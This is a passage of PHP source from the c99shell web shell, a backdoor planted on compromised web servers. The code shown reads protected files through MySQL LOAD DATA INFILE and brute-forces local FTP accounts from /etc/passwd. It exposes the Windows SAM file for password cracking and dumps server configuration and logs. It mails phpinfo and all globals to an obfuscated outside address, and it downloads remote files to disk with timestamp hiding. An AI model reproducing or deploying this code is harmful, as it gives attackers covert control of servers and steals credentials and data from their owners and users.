1370 | if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} |
---|
1371 | if ($select) |
---|
1372 | { |
---|
1373 | $created = FALSE; |
---|
1374 | mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); |
---|
1375 | mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); |
---|
1376 | $result = mysql_query("SELECT * FROM tmp_file;"); |
---|
1377 | if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} |
---|
1378 | else |
---|
1379 | { |
---|
1380 | for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} |
---|
1381 | $f = ""; |
---|
1382 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} |
---|
1383 | if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} |
---|
1384 | else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} |
---|
1385 | mysql_free_result($result); |
---|
1386 | mysql_query("DROP TABLE tmp_file;"); |
---|
1387 | } |
---|
1388 | } |
---|
1389 | mysql_drop_db($tmpdb); //comment it if you want to leave database |
---|
1390 | } |
---|
1391 | } |
---|
1392 | } |
---|
1393 | } |
---|
1394 | echo "</td></tr></table>"; |
---|
1395 | if ($sql_sock) |
---|
1396 | { |
---|
1397 | $affected = @mysql_affected_rows($sql_sock); |
---|
1398 | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} |
---|
1399 | echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; |
---|
1400 | } |
---|
1401 | echo "</table>"; |
---|
1402 | } |
---|
1403 | if ($act == "mkdir") |
---|
1404 | { |
---|
1405 | if ($mkdir != $d) |
---|
1406 | { |
---|
1407 | if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} |
---|
1408 | elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} |
---|
1409 | echo "<br><br>"; |
---|
1410 | } |
---|
1411 | $act = $dspact = "ls"; |
---|
1412 | } |
---|
1413 | if ($act == "ftpquickbrute") |
---|
1414 | { |
---|
1415 | echo "<b>Ftp Quick brute:</b><br>"; |
---|
1416 | if (!win) {echo "This functions not work in Windows!<br><br>";} |
---|
1417 | else |
---|
1418 | { |
---|
1419 | function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) |
---|
1420 | { |
---|
1421 | if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} |
---|
1422 | else {$TRUE = TRUE;} |
---|
1423 | if ($TRUE) |
---|
1424 | { |
---|
1425 | $sock = @ftp_connect($host,$port,$timeout); |
---|
1426 | if (@ftp_login($sock,$login,$pass)) |
---|
1427 | { |
---|
1428 | echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; |
---|
1429 | ob_flush(); |
---|
1430 | return TRUE; |
---|
1431 | } |
---|
1432 | } |
---|
1433 | } |
---|
1434 | if (!empty($submit)) |
---|
1435 | { |
---|
1436 | if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} |
---|
1437 | $fp = fopen("/etc/passwd","r"); |
---|
1438 | if (!$fp) {echo "Can't get /etc/passwd for password-list.";} |
---|
1439 | else |
---|
1440 | { |
---|
1441 | if ($fqb_logging) |
---|
1442 | { |
---|
1443 | if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} |
---|
1444 | else {$fqb_logfp = FALSE;} |
---|
1445 | $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; |
---|
1446 | if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
---|
1447 | } |
---|
1448 | ob_flush(); |
---|
1449 | $i = $success = 0; |
---|
1450 | $ftpquick_st = getmicrotime(); |
---|
1451 | while(!feof($fp)) |
---|
1452 | { |
---|
1453 | $str = explode(":",fgets($fp,2048)); |
---|
1454 | if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) |
---|
1455 | { |
---|
1456 | echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; |
---|
1457 | $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; |
---|
1458 | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
---|
1459 | $success++; |
---|
1460 | ob_flush(); |
---|
1461 | } |
---|
1462 | if ($i > $fqb_lenght) {break;} |
---|
1463 | $i++; |
---|
1464 | } |
---|
1465 | if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} |
---|
1466 | $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); |
---|
1467 | echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; |
---|
1468 | $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; |
---|
1469 | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
---|
1470 | if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} |
---|
1471 | fclose($fqb_logfp); |
---|
1472 | } |
---|
1473 | } |
---|
1474 | else |
---|
1475 | { |
---|
1476 | $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; |
---|
1477 | $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); |
---|
1478 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; |
---|
1479 | } |
---|
1480 | } |
---|
1481 | } |
---|
1482 | if ($act == "d") |
---|
1483 | { |
---|
1484 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} |
---|
1485 | else |
---|
1486 | { |
---|
1487 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; |
---|
1488 | if (!$win) |
---|
1489 | { |
---|
1490 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
---|
1491 | $ow = posix_getpwuid(fileowner($d)); |
---|
1492 | $gr = posix_getgrgid(filegroup($d)); |
---|
1493 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); |
---|
1494 | } |
---|
1495 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; |
---|
1496 | } |
---|
1497 | } |
---|
1498 | if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} |
---|
1499 | if ($act == "security") |
---|
1500 | { |
---|
1501 | echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; |
---|
1502 | if (!$win) |
---|
1503 | { |
---|
1504 | if ($nixpasswd) |
---|
1505 | { |
---|
1506 | if ($nixpasswd == 1) {$nixpasswd = 0;} |
---|
1507 | echo "<b>*nix /etc/passwd:</b><br>"; |
---|
1508 | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} |
---|
1509 | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} |
---|
1510 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>"; |
---|
1511 | $i = $nixpwd_s; |
---|
1512 | while ($i < $nixpwd_e) |
---|
1513 | { |
---|
1514 | $uid = posix_getpwuid($i); |
---|
1515 | if ($uid) |
---|
1516 | { |
---|
1517 | $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; |
---|
1518 | echo join(":",$uid)."<br>"; |
---|
1519 | } |
---|
1520 | $i++; |
---|
1521 | } |
---|
1522 | } |
---|
1523 | else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} |
---|
1524 | } |
---|
1525 | else |
---|
1526 | { |
---|
1527 | $v = $_SERVER["WINDIR"]."\repair\sam"; |
---|
1528 | if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} |
---|
1529 | else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} |
---|
1530 | } |
---|
1531 | if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} |
---|
1532 | if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} |
---|
1533 | if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} |
---|
1534 | if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} |
---|
1535 | if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} |
---|
1536 | if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} |
---|
1537 | if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} |
---|
1538 | function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} |
---|
1539 | displaysecinfo("OS Version?",myshellexec("cat /proc/version")); |
---|
1540 | displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); |
---|
1541 | displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); |
---|
1542 | displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); |
---|
1543 | displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); |
---|
1544 | displaysecinfo("RAM",myshellexec("free -m")); |
---|
1545 | displaysecinfo("HDD space",myshellexec("df -h")); |
---|
1546 | displaysecinfo("List of Attributes",myshellexec("lsattr -a")); |
---|
1547 | displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); |
---|
1548 | displaysecinfo("Is cURL installed?",myshellexec("which curl")); |
---|
1549 | displaysecinfo("Is lynx installed?",myshellexec("which lynx")); |
---|
1550 | displaysecinfo("Is links installed?",myshellexec("which links")); |
---|
1551 | displaysecinfo("Is fetch installed?",myshellexec("which fetch")); |
---|
1552 | displaysecinfo("Is GET installed?",myshellexec("which GET")); |
---|
1553 | displaysecinfo("Is perl installed?",myshellexec("which perl")); |
---|
1554 | displaysecinfo("Where is apache",myshellexec("whereis apache")); |
---|
1555 | displaysecinfo("Where is perl?",myshellexec("whereis perl")); |
---|
1556 | displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); |
---|
1557 | displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); |
---|
1558 | displaysecinfo("locate my.conf",myshellexec("locate my.conf")); |
---|
1559 | displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); |
---|
1560 | } |
---|
1561 | if ($act == "mkfile") |
---|
1562 | { |
---|
1563 | if ($mkfile != $d) |
---|
1564 | { |
---|
1565 | if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} |
---|
1566 | elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} |
---|
1567 | else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} |
---|
1568 | } |
---|
1569 | else {$act = $dspact = "ls";} |
---|
1570 | } |
---|
1571 | if ($act == "encoder") |
---|
1572 | { |
---|
1573 | echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; |
---|
1574 | foreach(array("md5","crypt","sha1","crc32") as $v) |
---|
1575 | { |
---|
1576 | echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; |
---|
1577 | } |
---|
1578 | echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> |
---|
1579 | <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> |
---|
1580 | <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; |
---|
1581 | echo "<center>base64_decode - "; |
---|
1582 | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} |
---|
1583 | else |
---|
1584 | { |
---|
1585 | $debase64 = base64_decode($encoder_input); |
---|
1586 | $debase64 = str_replace("\0","[0]",$debase64); |
---|
1587 | $a = explode("\r\n",$debase64); |
---|
1588 | $rows = count($a); |
---|
1589 | $debase64 = htmlspecialchars($debase64); |
---|
1590 | if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} |
---|
1591 | else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} |
---|
1592 | echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; |
---|
1593 | } |
---|
1594 | echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; |
---|
1595 | $c = strlen($encoder_input); |
---|
1596 | for($i=0;$i<$c;$i++) |
---|
1597 | { |
---|
1598 | $hex = dechex(ord($encoder_input[$i])); |
---|
1599 | if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} |
---|
1600 | elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} |
---|
1601 | } |
---|
1602 | echo "\" readonly><br></center></form>"; |
---|
1603 | } |
---|
1604 | if ($act == "fsbuff") |
---|
1605 | { |
---|
1606 | $arr_copy = $sess_data["copy"]; |
---|
1607 | $arr_cut = $sess_data["cut"]; |
---|
1608 | $arr = array_merge($arr_copy,$arr_cut); |
---|
1609 | if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} |
---|
1610 | else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} |
---|
1611 | } |
---|
1612 | if ($act == "selfremove") |
---|
1613 | { |
---|
1614 | if (($submit == $rndcode) and ($submit != "")) |
---|
1615 | { |
---|
1616 | if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } |
---|
1617 | else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} |
---|
1618 | } |
---|
1619 | else |
---|
1620 | { |
---|
1621 | if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} |
---|
1622 | $rnd = rand(0,9).rand(0,9).rand(0,9); |
---|
1623 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>"; |
---|
1624 | } |
---|
1625 | } |
---|
1626 | if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} |
---|
1627 | if ($act == "feedback") |
---|
1628 | { |
---|
1629 | $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); |
---|
1630 | if (!empty($submit)) |
---|
1631 | { |
---|
1632 | $ticket = substr(md5(microtime()+rand(1,1000)),0,6); |
---|
1633 | $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; |
---|
1634 | if (!empty($fdbk_ref)) |
---|
1635 | { |
---|
1636 | $tmp = @ob_get_contents(); |
---|
1637 | ob_clean(); |
---|
1638 | phpinfo(); |
---|
1639 | $phpinfo = base64_encode(ob_get_contents()); |
---|
1640 | ob_clean(); |
---|
1641 | echo $tmp; |
---|
1642 | $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; |
---|
1643 | } |
---|
1644 | mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); |
---|
1645 | echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; |
---|
1646 | } |
---|
1647 | else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} |
---|
1648 | } |
---|
1649 | if ($act == "search") |
---|
1650 | { |
---|
1651 | echo "<b>Search in file-system:</b><br>"; |
---|
1652 | if (empty($search_in)) {$search_in = $d;} |
---|
1653 | if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} |
---|
1654 | if (empty($search_text_wwo)) {$search_text_regexp = 0;} |
---|
1655 | if (!empty($submit)) |
---|
1656 | { |
---|
1657 | $found = array(); |
---|
1658 | $found_d = 0; |
---|
1659 | $found_f = 0; |
---|
1660 | $search_i_f = 0; |
---|
1661 | $search_i_d = 0; |
---|
1662 | $a = array |
---|
1663 | ( |
---|
1664 | "name"=>$search_name, "name_regexp"=>$search_name_regexp, |
---|
1665 | "text"=>$search_text, "text_regexp"=>$search_text_regxp, |
---|
1666 | "text_wwo"=>$search_text_wwo, |
---|
1667 | "text_cs"=>$search_text_cs, |
---|
1668 | "text_not"=>$search_text_not |
---|
1669 | ); |
---|
1670 | $searchtime = getmicrotime(); |
---|
1671 | $in = array_unique(explode(";",$search_in)); |
---|
1672 | foreach($in as $v) {c99fsearch($v);} |
---|
1673 | $searchtime = round(getmicrotime()-$searchtime,4); |
---|
1674 | if (count($found) == 0) {echo "<b>No files found!</b>";} |
---|
1675 | else |
---|
1676 | { |
---|
1677 | $ls_arr = $found; |
---|
1678 | $disp_fullpath = TRUE; |
---|
1679 | $act = "ls"; |
---|
1680 | } |
---|
1681 | } |
---|
1682 | echo "<form method=POST> |
---|
1683 | <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> |
---|
1684 | <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp |
---|
1685 | <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> |
---|
1686 | <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> |
---|
1687 | <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp |
---|
1688 | <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only |
---|
1689 | <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive |
---|
1690 | <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text |
---|
1691 | <br><br><input type=submit name=submit value=\"Search\"></form>"; |
---|
1692 | if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} |
---|
1693 | } |
---|
1694 | if ($act == "chmod") |
---|
1695 | { |
---|
1696 | $mode = fileperms($d.$f); |
---|
1697 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} |
---|
1698 | else |
---|
1699 | { |
---|
1700 | $form = TRUE; |
---|
1701 | if ($chmod_submit) |
---|
1702 | { |
---|
1703 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); |
---|
1704 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} |
---|
1705 | else {$err = "Can't chmod to ".$octet.".";} |
---|
1706 | } |
---|
1707 | if ($form) |
---|
1708 | { |
---|
1709 | $perms = parse_perms($mode); |
---|
1710 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; |
---|
1711 | } |
---|
1712 | } |
---|
1713 | } |
---|
1714 | if ($act == "upload") |
---|
1715 | { |
---|
1716 | $uploadmess = ""; |
---|
1717 | $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); |
---|
1718 | if (empty($uploadpath)) {$uploadpath = $d;} |
---|
1719 | elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} |
---|
1720 | if (!empty($submit)) |
---|
1721 | { |
---|
1722 | global $HTTP_POST_FILES; |
---|
1723 | $uploadfile = $HTTP_POST_FILES["uploadfile"]; |
---|
1724 | if (!empty($uploadfile["tmp_name"])) |
---|
1725 | { |
---|
1726 | if (empty($uploadfilename)) {$destin = $uploadfile["name"];} |
---|
1727 | else {$destin = $userfilename;} |
---|
1728 | if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} |
---|
1729 | } |
---|
1730 | elseif (!empty($uploadurl)) |
---|
1731 | { |
---|
1732 | if (!empty($uploadfilename)) {$destin = $uploadfilename;} |
---|
1733 | else |
---|
1734 | { |
---|
1735 | $destin = explode("/",$destin); |
---|
1736 | $destin = $destin[count($destin)-1]; |
---|
1737 | if (empty($destin)) |
---|
1738 | { |
---|
1739 | $i = 0; |
---|
1740 | $b = ""; |
---|
1741 | while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} |
---|
1742 | } |
---|
1743 | if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} |
---|
1744 | else |
---|
1745 | { |
---|
1746 | $st = getmicrotime(); |
---|
1747 | $content = @file_get_contents($uploadurl); |
---|
1748 | $dt = round(getmicrotime()-$st,4); |
---|
1749 | if (!$content) {$uploadmess .= "Can't download file!<br>";} |
---|
1750 | else |
---|
1751 | { |
---|
1752 | if ($filestealth) {$stat = stat($uploadpath.$destin);} |
---|
1753 | $fp = fopen($uploadpath.$destin,"w"); |
---|
1754 | if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} |
---|
1755 | else |
---|
1756 | { |
---|
1757 | fwrite($fp,$content,strlen($content)); |
---|
1758 | fclose($fp); |
---|
1759 | if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} |
---|
1760 | } |
---|
1761 | } |
---|
1762 | } |
---|
1763 | } |
---|
1764 | } |
---|
1765 | if ($miniform) |
---|
1766 | { |
---|
1767 | echo "<b>".$uploadmess."</b>"; |
---|
1768 | $act = "ls"; |
---|
1769 | } |
---|
1770 | else |
---|
1771 | { |
---|
1772 | echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> |
---|
